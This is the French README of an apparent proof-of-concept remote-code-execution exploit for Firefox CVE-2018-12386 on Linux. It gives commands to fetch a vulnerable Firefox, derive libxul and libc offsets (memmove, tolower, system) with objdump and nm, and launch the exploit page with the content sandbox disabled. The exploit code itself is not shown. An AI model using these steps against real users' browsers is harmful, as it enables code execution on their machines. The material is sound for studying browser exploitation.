
CVE-2018-12386 - Exploit RCE en sandbox Firefox pour Linux (Firefox <v62.0.3)
Voici un exploit simple pour la vulnérabilité CVE-2018-12386 découverte par Niklas Baumstark, Samuel Groß et Bruno Keith.
C'est surtout une preuve de concept que j'ai faite pour le plaisir, il n'y a pas de contournement du sandbox et cela ne fonctionnera que sur une configuration Linux donnée où les décalages (offsets) utilisés par l'exploit sont déjà connus (ils peuvent être modifiés dans exploit/offsets.js).
Cet exploit fonctionne pour les versions antérieures à Firefox 62.0.3 et Firefox ESR 60.2.2.
Vous pouvez télécharger les anciennes versions de Firefox directement depuis le serveur FTP de Mozilla : https://ftp.mozilla.org/pub/firefox/releases/
Vous pouvez utiliser, par exemple, la version 62.0.2 pour Linux 64 bits : https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soSi vous utilisez Firefox 62.0.2, les décalages fournis dans exploit/offsets.js devraient être les bons.
Pour les autres versions, une manière simple de faire est d'utiliser la primitive addrof pour fuiter l'adresse de la fonction JavaScript Math.max, puis trouver l'adresse de base de libxul.so pour l'instance de Firefox que vous exploitez actuellement (avec cat /proc/$(pidof firefox)/maps par exemple) et soustraire les deux pour obtenir le décalage libxul_math_max.
Si vous utilisez Firefox 62.0.2, les décalages fournis dans exploit/offsets.js devraient être les bons.
Pour les autres versions, une manière simple de faire est d'utiliser objdump.
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 et 5c0d968 sont les valeurs dont nous avons besoin, c'est-à-dire le décalage de memmove et tolower dans libxul.so.
libc.so.6Ces décalages dépendent entièrement de la version de libc que vous utilisez.
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
Une fois que vous avez Firefox et les bons décalages, vous pouvez tester l'exploit en lançant la commande suivante :
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Si vous voulez dire bonjour : @lyte__